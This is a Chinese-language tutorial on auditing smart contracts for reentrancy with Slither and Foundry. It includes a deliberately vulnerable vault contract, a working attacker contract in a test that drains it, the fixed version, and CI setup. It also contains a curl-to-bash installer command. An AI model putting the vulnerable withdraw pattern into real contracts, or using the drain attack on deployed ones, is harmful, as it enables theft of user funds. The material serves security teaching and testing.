智能合约重入攻击防御实战:Slither 审计

智能合约重入攻击是最经典也最致命的合约漏洞之一:攻击者利用外部调用尚未返回、状态尚未更新的时间窗口反复进入取款函数,把合约余额一笔笔搬空。本文从一段可直接编译复现的脆弱取款合约出发,用 Foundry 编写攻击测试证明漏洞真实可利用,再用 Slither 静态分析定位问题并给出修复方案,最后把检查接入 CI 形成回归防线。命令与合约代码均可直接复制运行,适用于需要在上线前做合约审计、或已经接入链上业务但缺乏专用审计工具的中小团队。

适用场景

  • DeFi、质押、拍卖、众筹类合约上线前需要一轮自动化安全体检;
  • 项目已发生或疑似发生过资金被异常提取,需要定位是否存在重入路径;
  • 合约升级或新增外部调用后,需要回归验证原有防护是否仍然生效;
  • 团队希望把静态分析固化为 CI 卡点,避免每次靠人工复读代码。

前置条件

  • Linux 或 macOS 开发机,Python 3.8+ 与 Node.js 环境;
  • 已安装 Foundry(foundryup 可一键安装)或 Hardhat,用于编译与测试;
  • 安装 slither-analyzer 与 solc-select,并能按项目 pragma 切换编译器版本;
  • 合约依赖已拉取完成(OpenZeppelin、solmate 等),否则分析会因导入失败中断。

原理说明

重入攻击的发生条件

重入成立需要同时满足三点:合约向外部地址发送原生币或调用外部合约;状态变量的更新发生在这次外部调用之后;被调用方能够在回调中重新进入同一函数且此时状态仍未更新。最典型的载体是 msg.sender.call{value: amount}(""),因为接收方可以通过 receive() 或 fallback() 回调执行任意逻辑。ERC-777 的 tokensReceived、ERC-721/1155 的 onERC721Received 等钩子函数同样会引入外部调用,容易被忽略。

三类常见变体

  • 单函数重入:取款函数先转账后清零余额,回调中反复调用取款,最典型也最容易被扫描工具识别;
  • 跨函数重入:A 函数处于外部调用中,回调进入 B 函数(如 transfer 或 withdraw 的另一个分支),共享状态被绕过;
  • 只读重入:攻击者在回调中读取尚未更新的余额或价格,用于在其他协议中套利,本合约资金未被直接搬走,因此最难通过资金流水发现。

操作步骤

步骤一:安装工具链

# 静态分析器与编译器版本管理
python3 -m pip install --upgrade slither-analyzer solc-select
slither --version

# 按项目 pragma 安装对应编译器,例如 0.8.24
solc-select install 0.8.24
solc-select use 0.8.24

# Foundry(用于编写攻击复现测试)
curl -L https://foundry.paradigm.xyz | bash && foundryup
forge --version

步骤二:写一段可复现的脆弱合约

新建项目并在 src/Vault.sol 中写入下列代码,注意 balances[msg.sender] = 0 被放在了外部调用之后,这就是漏洞根源:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

contract VulnerableVault {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "no balance");

        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok, "transfer failed");

        balances[msg.sender] = 0; // 状态更新滞后于外部调用
    }
}

步骤三:用 Slither 定位问题

# 全量扫描(推荐先看总体报告)
slither . --exclude-dependencies

# 只跑重入相关检测器,输出更聚焦
slither . --detect reentrancy-eth,reentrancy-no-eth,reentrancy-benign,\
reentrancy-events,reentrancy-unlimited-gas

# 生成可归档的 SARIF 报告,便于在代码平台展示
slither . --exclude-dependencies --sarif slither.sarif

对上述合约,Slither 会给出 reentrancy-eth 命中,并标注「External call before state variable write」及具体行号。判定说明中 reentrancy-eth 表示存在以太币被重入窃取的风险,reentrancy-no-eth 表示不直接涉及原生币但状态可被重入篡改,reentrancy-benign 则通常是重入后无实质影响、需要人工确认的告警。

步骤四:用攻击测试证明可利用

在 test/Reentrancy.t.sol 中编写攻击者合约并断言资金被搬空:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "forge-std/Test.sol";
import "../src/Vault.sol";

contract Attacker {
    VulnerableVault public vault;

    constructor(VulnerableVault v) {
        vault = v;
    }

    receive() external payable {
        if (address(vault).balance >= 1 ether) {
            vault.withdraw(); // 回调中重新进入
        }
    }

    function attack() external payable {
        vault.deposit{value: msg.value}();
        vault.withdraw();
    }
}

contract ReentrancyTest is Test {
    VulnerableVault vault;
    Attacker attacker;

    function setUp() public {
        vault = new VulnerableVault();
        vm.deal(address(this), 10 ether);
        vm.deal(address(0xBEEF), 3 ether);

        vm.prank(address(0xBEEF));
        vault.deposit{value: 3 ether}();

        attacker = new Attacker(vault);
        vm.deal(address(attacker), 1 ether);
    }

    function testReentrancyDrainsVault() public {
        attacker.attack{value: 1 ether}();
        // 攻击者本金 1 ether,最终余额远超本金
        assertGt(address(attacker).balance, 3 ether);
        assertEq(address(vault).balance, 0);
    }
}

执行 forge test -vvv,若测试通过即证明漏洞可被实际利用。

步骤五:修复并做回归验证

修复遵循 CEI(Checks-Effects-Interactions) 顺序,把状态更新提到外部调用之前,并按拉式支付思路把余额清零放在转账前:

import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract SafeVault is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external nonReentrant {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "no balance");

        balances[msg.sender] = 0; // 先改状态,再交互
        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok, "transfer failed");
    }
}

把攻击测试中的 VulnerableVault 换成 SafeVault,并将断言改为 vm.expectRevert();,forge test 应表现为取款回滚、资金不再被搬空。修复后再跑一次 slither . --detect reentrancy-eth,命中应消失。

步骤六:接入 CI 形成卡点

- name: Slither
  run: |
    python3 -m pip install slither-analyzer solc-select
    solc-select install 0.8.24 && solc-select use 0.8.24
    slither . --exclude-dependencies --sarif slither.sarif

Slither 检出问题时会返回非零退出码,可直接让流水线失败;对已确认的误报用 slither . --triage-mode 逐条标记,判定结果落盘后团队复用同一份结论,不必每次重新判断。

配置验证

# 1. 确认分析器与编译器都能正常工作
slither . --print human-summary

# 2. 确认重入检测项已覆盖(输出各检测器的通过/命中状态)
slither . --checklist

# 3. 修复后回归:reentrancy-eth 应无命中且退出码为 0
slither . --detect reentrancy-eth ; echo "exit=$?"

# 4. 函数级测试覆盖确认
forge test --match-test testReentrancy -vvv

注意:静态分析结果是必要条件而非充分条件。通过 Slither 只说明常见模式已被处理,跨合约重入、只读重入、经济模型层面的攻击仍需人工审计与模糊测试补充。

常见问题

FAQ 1:Slither 报 reentrancy-benign 一定是误报吗?

不一定。benign 的判定依据是「重入后没有可观测的状态影响」,但工具看不到跨合约的依赖关系。若被重入函数会写外部合约状态、触发事件被下游索引服务消费,或调用了价格预言机,就需要按真实风险处理。建议把 benign 类告警全部人工过一遍并留档结论,而不是批量忽略。

FAQ 2:加了 nonReentrant 就彻底安全了吗?

不是。nonReentrant 只能阻止同一合约内被标记函数的重入,无法覆盖三种情况:一是通过其他未加锁的函数间接重入并篡改共享状态(跨函数重入);二是只读重入,攻击者只读取未更新状态、不在本合约内产生写操作;三是跨合约重入,防护修饰符作用域不覆盖被调用的外部协议。工程上建议同时采用 CEI 顺序、把余额清零前置、必要时限制转账 gas(2300 的 stipend 可有效阻断回调复杂度),三重防护叠加。

FAQ 3:Slither 之外还需要哪些工具?

建议形成组合:Slither 做静态模式扫描,Foundry 写单元测试与不变量测试(invariant testing)做动态验证,Mythril 或 Echidna 做符号执行与模糊测试,涉及代理升级的合约额外跑 slither-check-upgradeability 检查存储布局冲突。四者互补,任何单一工具都不足以作为上线依据。

总结

重入防御的核心只有一句话:在任何外部交互发生之前,把所有该改的状态改完。围绕这句话展开的工程动作是三步——用 CEI 顺序重构关键函数,用 nonReentrant 等修饰符做兜底,用 Slither + Foundry 攻击测试把「漏洞已被修复」变成可自动回归的断言。把这三步写进 CI,后续每次提交都能拿到确定的答案,而不是靠人再读一遍代码。